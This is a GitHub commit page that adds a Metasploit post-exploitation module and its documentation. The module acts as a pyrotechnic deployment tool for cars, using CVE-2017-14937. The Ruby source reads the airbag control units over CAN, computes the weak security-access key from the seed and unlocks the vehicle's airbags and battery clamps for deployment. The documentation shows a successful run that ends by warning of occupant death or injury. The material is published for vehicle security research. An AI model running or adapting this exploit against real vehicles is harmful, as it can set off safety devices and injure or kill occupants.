Skip to content

Commit 880a1d4

Browse files
committed
Land rapid7#9312, Module acting as a Pyrotechnical Device Deployment Tool (PDT) for Hardware Bridge
2 parents 36a3088 + 8344401 commit 880a1d4

File tree

2 files changed

+386
-0
lines changed
  • documentation/modules/post/hardware/automotive
  • modules/post/hardware/automotive

2 files changed

+386
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module will first query all Pyrotechnic Control Units (PCUs) in the target vehicle to discover how many pyrotechnic devices are present, then attempt to validate the security access token using the default simplified algorithm. On success, the vehicle will be in a state that is prepped to deploy its pyrotechnic devices (e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
2+
3+
This module is based on research by Johannes Braun and Juergen Duerrwang, which you can read more about [here](https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts) along with related [CVE-2017-14937](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14937).
4+
5+
## Options
6+
7+
**SRCID**
8+
9+
This is the SRC CAN ID for the PCU connection. Default is 0x7F1.
10+
11+
**DSTID**
12+
13+
This is the CAN ID of the expected response. Default is 0x7F9.
14+
15+
**CANBUS**
16+
17+
Determines which CAN bus to communicate on. Type 'supported_buses' for valid options.
18+
19+
**PADDING**
20+
21+
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
22+
23+
## Scenarios
24+
25+
A successful unlock and prepped-to-deploy of pyrotechnic devices in a target vehicle:
26+
27+
```
28+
$ ./msfconsole -q
29+
msf > use auxiliary/server/local_hwbridge
30+
msf auxiliary(local_hwbridge) > set uripath /
31+
uripath => /
32+
msf auxiliary(local_hwbridge) > run
33+
[*] Auxiliary module running as background job 0.
34+
35+
[*] Using URL: http://0.0.0.0:8080/
36+
[*] Local IP: http://10.0.2.4:8080/
37+
[*] Server started.
38+
39+
msf auxiliary(local_hwbridge) > use auxiliary/client/hwbridge/connect
40+
msf auxiliary(connect) > run
41+
42+
[*] Attempting to connect to 127.0.0.1...
43+
[*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2017-12-17 10:41:27 -0600
44+
[+] HWBridge session established
45+
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
46+
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
47+
[!] could have real world consequences. Use this module in a controlled testing
48+
[!] environment and with equipment you are authorized to perform testing on.
49+
[*] Auxiliary module execution completed
50+
51+
msf auxiliary(connect) > sessions -i 1
52+
[*] Starting interaction with 1...
53+
54+
hwbridge >
55+
hwbridge > run post/hardware/automotive/pdt canbus=<target CAN bus>
56+
57+
[*] Gathering Data...
58+
[*] VIN: 5555
59+
[*] Loop info (1 pyrotechnic devices):
60+
[*] 69 | battery clamp main battery
61+
[*] | Deployment Status: Fail ()
62+
[*] Number of PCUs in vehicle | 1
63+
[*] Info About First PCU
64+
[*] Address format this PCU(s) | 11 bit normal addressing
65+
[*] Number of pyrotechnic charges | 1
66+
[*] Version of ISO26021 standard | 1
67+
[*] ACL type | CAN only
68+
[*] ACL Type version | 1
69+
[*]
70+
[*] Switching to Diagnostic Session 0x04...
71+
[*] Getting Security Access Seed...
72+
[*] Success. Seed: ["01", "CF", "00", "00", "00"]
73+
[*] Attempting to unlock device...
74+
[*] Success!
75+
[!] Warning! You are now able to start the deployment of airbags in this vehicle
76+
[!] *** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***
77+
```
Lines changed: 309 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,309 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex'
7+
require 'msf/core/post/hardware/automotive/uds'
8+
9+
class MetasploitModule < Msf::Post
10+
11+
include Msf::Post::Hardware::Automotive::UDS
12+
include Msf::Post::Hardware::Automotive::DTC
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
17+
'Description' => %q{ Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
18+
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
19+
to discover how many pyrotechnic devices are present, then attempt to validate
20+
the security access token using the default simplified algorithm. On success,
21+
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
22+
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021) },
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'Johannes Braun', # original research
26+
'Juergen Duerrwang', # original research
27+
'Craig Smith' # research and module author
28+
],
29+
'References' =>
30+
[
31+
[ 'CVE', '2017-14937' ],
32+
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
33+
],
34+
'Platform' => ['hardware'],
35+
'SessionTypes' => ['hwbridge']
36+
))
37+
register_options([
38+
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
39+
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
40+
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
41+
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
42+
])
43+
end
44+
45+
LOOP_TABLE = {
46+
0x00 => 'ISOSAEReserved',
47+
0x01 => 'airbag driver side frontal 1st stage',
48+
0x02 => 'airbag left side frontal 1st stage',
49+
0x03 => 'airbag right side frontal 1st stage',
50+
0x04 => 'airbag driver side frontal 2nd stage',
51+
0x05 => 'airbag left side frontal 2nd stage',
52+
0x06 => 'airbag right side frontal 2nd stage',
53+
0x07 => 'airbag driver side frontal 3rd stage',
54+
0x08 => 'airbag left side frontal 3rd stage',
55+
0x09 => 'airbag right side frontal 3rd stage',
56+
0x0A => 'airbag passenger side frontal 1st stage',
57+
0x0B => 'airbag passenger side frontal 2nd stage',
58+
0x0C => 'airbag passenger side frontal 3rd stage',
59+
0x0D => 'airbag left side frontal 3rd stage',
60+
0x0E => 'airbag right side frontal 3rd stage',
61+
0x0F => 'airbag passenger frontal 1st stage - center',
62+
0x10 => 'airbag passenger frontal 2nd stage - center',
63+
0x11 => 'airbag passenger frontal 3rd stage - center',
64+
0x12 => '1st pretensioner driver side',
65+
0x13 => '1st pretensioner left side',
66+
0x14 => '1st pretensioner right side',
67+
0x15 => '2nd pretensioner driver side',
68+
0x16 => '2nd pretensioner left side',
69+
0x17 => '2nd pretensioner right side',
70+
0x18 => '1st pretensioner passenger side',
71+
0x19 => '2nd pretensioner passenger side',
72+
0x1A => '1st pretensioner passenger - center',
73+
0x1B => '2nd pretensioner passenger - center',
74+
0x1C => '1st pretensioner (2nd row) left',
75+
0x1D => '2nd pretensioner (2nd row) left',
76+
0x1E => '1st pretensioner (2nd row) right',
77+
0x1F => '2nd pretensioner (2nd row) right',
78+
0x20 => '1st pretensioner (2nd row) center',
79+
0x21 => '2nd pretensioner (2nd row) center',
80+
0x22 => '1st pretensioner (3rd row) left',
81+
0x23 => '2nd pretensioner (3rd row) left',
82+
0x24 => '1st pretensioner (3rd row) right',
83+
0x25 => '2nd pretensioner (3rd row) right',
84+
0x26 => '1st pretensioner (3rd row) center',
85+
0x27 => '2nd pretensioner (3rd row) center',
86+
0x28 => 'belt force limiter driver side',
87+
0x29 => 'belt force limiter left side',
88+
0x2A => 'belt force limiter right side',
89+
0x2B => 'belt force limiter passenger side',
90+
0x2C => 'belt force limiter passenger side - center',
91+
0x2D => 'belt force limiter 2nd row - left',
92+
0x2E => 'belt force limiter 2nd row - right',
93+
0x2F => 'belt force limiter 2nd row - center',
94+
0x30 => 'belt force limiter 3rd row - left',
95+
0x31 => 'belt force limiter 3rd row - right',
96+
0x32 => 'belt force limiter 3rd row - center',
97+
0x33 => 'headbag - driver side (roof mounted)',
98+
0x34 => 'headbag - passenger side (roof mounted)',
99+
0x35 => 'headbag - right side (roof mounted)',
100+
0x36 => 'headbag - left side (roof mounted)',
101+
0x37 => 'headbag - 2nd row - left (roof mounted)',
102+
0x38 => 'headbag - 2nd row - right (roof mounted)',
103+
0x39 => 'headbag - 3rd row - left (roof mounted)',
104+
0x3A => 'headbag - 3rd row - right (roof mounted)',
105+
0x3B => 'sidebag (curtain) - driver side',
106+
0x3C => 'sidebag (curtain) - passenger side',
107+
0x3D => 'sidebag (curtain) - left side',
108+
0x3E => 'sidebag (curtain) - right side',
109+
0x3F => 'sidebag (curtain) - 2nd row - left',
110+
0x40 => 'sidebag (curtain) - 2nd row - right',
111+
0x41 => 'sidebag (curtain) - 3rd row - left',
112+
0x42 => 'sidebag (curtain) - 3rd row - right',
113+
0x43 => 'sidebag - driver side (door mounted)',
114+
0x44 => 'sidebag - passenger side (door mounted)',
115+
0x45 => 'sidebag - left side (door mounted)',
116+
0x46 => 'sidebag - right side (door mounted)',
117+
0x47 => 'sidebag - 2nd row - left (door mounted)',
118+
0x48 => 'sidebag - 2nd row - right (door mounted)',
119+
0x49 => 'sidebag - 3rd row - left (door mounted)',
120+
0x4A => 'sidebag - 3rd row - right (door mounted)',
121+
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
122+
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
123+
0x4D => 'seatbag (cushion) - left side (seat mounted)',
124+
0x4E => 'seatbag (cushion) - right side (seat mounted)',
125+
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
126+
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
127+
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
128+
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
129+
0x53 => 'kneebag - driver side',
130+
0x54 => 'kneebag - passenger side',
131+
0x55 => 'kneebag - left side',
132+
0x56 => 'kneebag - right side',
133+
0x57 => 'kneebag - passenger side - center',
134+
0x58 => 'footbag - driver side',
135+
0x59 => 'footbag - passenger side',
136+
0x5A => 'footbag - left side',
137+
0x5B => 'footbag - right side',
138+
0x5C => 'footbag - passenger side - center',
139+
0x5E => 'active headrest - driver side',
140+
0x5F => 'active headrest - passenger side',
141+
0x60 => 'active headrest - left side',
142+
0x61 => 'active headrest - right side',
143+
0x62 => 'active headrest - passenger side - center',
144+
0x63 => 'active headrest - 2nd row - left',
145+
0x64 => 'active headrest - 2nd row - right',
146+
0x65 => 'active headrest - 2nd row - center',
147+
0x66 => 'active headrest - 3rd row - left',
148+
0x67 => 'active headrest - 3rd row - right',
149+
0x68 => 'active headrest - 3rd row - center',
150+
0x69 => 'battery clamp main battery',
151+
0x6A => 'battery clamp 2nd battery',
152+
0x6B => 'battery clamp 3rd battery',
153+
0x6C => 'battery clamp 4th battery',
154+
0x6D => 'roof-airbag front',
155+
0x6E => 'roof-airbag front',
156+
0x6F => 'bag in belt driver side',
157+
0x70 => 'bag in belt passenger side',
158+
0x71 => 'bag in belt left side',
159+
0x72 => 'bag in belt right side',
160+
0x73 => 'bag in belt passenger side - center',
161+
0x74 => 'bag in belt 2nd row - left',
162+
0x75 => 'bag in belt 2nd row - right',
163+
0x76 => 'bag in belt 2nd row - center',
164+
0x77 => 'bag in belt 3rd row - left',
165+
0x78 => 'bag in belt 3rd row - right',
166+
0x79 => 'bag in belt 3rd row - center',
167+
0x7A => 'rollover bar #1',
168+
0x7B => 'rollover bar #2',
169+
0x7C => 'rollover bar #3',
170+
0x7D => 'rollover bar #4',
171+
0x7E => 'active anti-submarining driver seat',
172+
0x7F => 'active anti-submarining passenger seat',
173+
0x80 => 'active anti-submarining left seat',
174+
0x81 => 'active anti-submarining right seat',
175+
0x82 => 'active anti-submarining passenger seat - center',
176+
0x83 => 'active anti-submarining seat 2nd row - left',
177+
0x84 => 'active anti-submarining seat 2nd row - right',
178+
0x85 => 'active anti-submarining seat 2nd row - center',
179+
0x86 => 'active anti-submarining seat 3rd row - left',
180+
0x87 => 'active anti-submarining seat 3rd row - right',
181+
0x88 => 'active anti-submarining seat 3rd row - center',
182+
0x89 => 'pedestrian protection front left hood lifter',
183+
0x8A => 'pedestrian protection front right hood lifter',
184+
0x8B => 'pedestrian protection rear left hood lifter',
185+
0x8C => 'pedestrian protection rear right hood lifter',
186+
0x8D => 'pedestrian protection a-pillar left',
187+
0x8E => 'pedestrian protection a-pillar right',
188+
0x8F => 'pedestrian protection wind screen',
189+
0x90 => 'pedestrian protection bumper left',
190+
0x91 => 'pedestrian protection bumper center',
191+
0x92 => 'pedestrian protection bumper right',
192+
0x93 => 'active steering column',
193+
0x94 => 'front screen - emergency release',
194+
0x95 => 'read window - emergency release'
195+
}
196+
197+
ACL_TYPES = {
198+
0x01 => 'CAN only',
199+
0x02 => 'ACL Comm Mode 12V',
200+
0x03 => 'ACL PWM FixedLevel 8V',
201+
0x04 => 'ACL Comm Mode 24V',
202+
0x05 => 'ACL PWM UbattLevel 12V',
203+
0x06 => 'ACL PWM UbattLevel 24V'
204+
}
205+
206+
PCU_ADDRESS_FORMAT = {
207+
0x01 => '11 bit normal addressing',
208+
0x02 => '11 bit extended addressing',
209+
0x03 => '11 bit mixed addressing',
210+
0x04 => '29 bit normal fixed addressing',
211+
0x05 => '29 bit mixed addressing',
212+
0x06 => '29 bit unique addressing'
213+
}
214+
215+
def print_vin(vin)
216+
return "" if vin.nil?
217+
vin.map! { |d| d.hex.chr }
218+
print_status(" VIN: #{vin.join}")
219+
end
220+
221+
def print_loop_table(loopid)
222+
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
223+
(3..loopid.size).each do |i|
224+
if i % 2 == 1
225+
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
226+
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
227+
else
228+
print_status(" #{loopid[i]} | <<UNKNOWN>>")
229+
end
230+
else
231+
if loopid[i] && loopid[i].hex == 0
232+
print_status(' | Deployment Status: Good')
233+
else
234+
print_status(" | Deployment Status: Fail (#{loopid[i]})")
235+
end
236+
end
237+
end
238+
end
239+
240+
def run
241+
opt = {}
242+
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
243+
print_status('Gathering Data...')
244+
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
245+
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
246+
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
247+
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
248+
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
249+
acl_type_definition = loopid[0]
250+
acl_type_version = loopid[1]
251+
no_of_charges = loopid[2]
252+
253+
print_vin(vin)
254+
print_loop_table(loopid)
255+
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
256+
print_status(' Info About First PCU')
257+
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
258+
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
259+
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
260+
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
261+
print_status(" ACL Type version | #{acl_type_version.hex}")
262+
print_status
263+
print_status('Switching to Diagnostic Session 0x04...')
264+
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
265+
if resp.key? 'error'
266+
print_error("Could not switch to DSC 0x04: #{resp['error']}")
267+
return
268+
end
269+
# We may not need tester present at all because we will perform the action quickly
270+
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
271+
print_status('Getting Security Access Seed...')
272+
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
273+
if seed.key? 'error'
274+
print_error("Couldn't get seed: #{seed['error']}")
275+
return
276+
end
277+
print_status("Success. Seed: #{seed['SEED']}")
278+
print_status('Attempting to unlock device...')
279+
display_warning = false
280+
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
281+
print_status('Security Access Already Unlocked!!')
282+
display_warning = true
283+
else
284+
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
285+
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
286+
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
287+
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
288+
return
289+
end
290+
found_valid = false
291+
if (resp.key? 'Packets') && resp['Packets'].size > 0
292+
resp['Packets'].each do |i|
293+
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
294+
end
295+
end
296+
if found_valid
297+
print_status('Success!')
298+
display_warning = true
299+
else
300+
print_error("Unknown response: #{resp.inspect}")
301+
end
302+
end
303+
if display_warning
304+
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
305+
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
306+
end
307+
end
308+
309+
end

0 commit comments

Comments
 (0)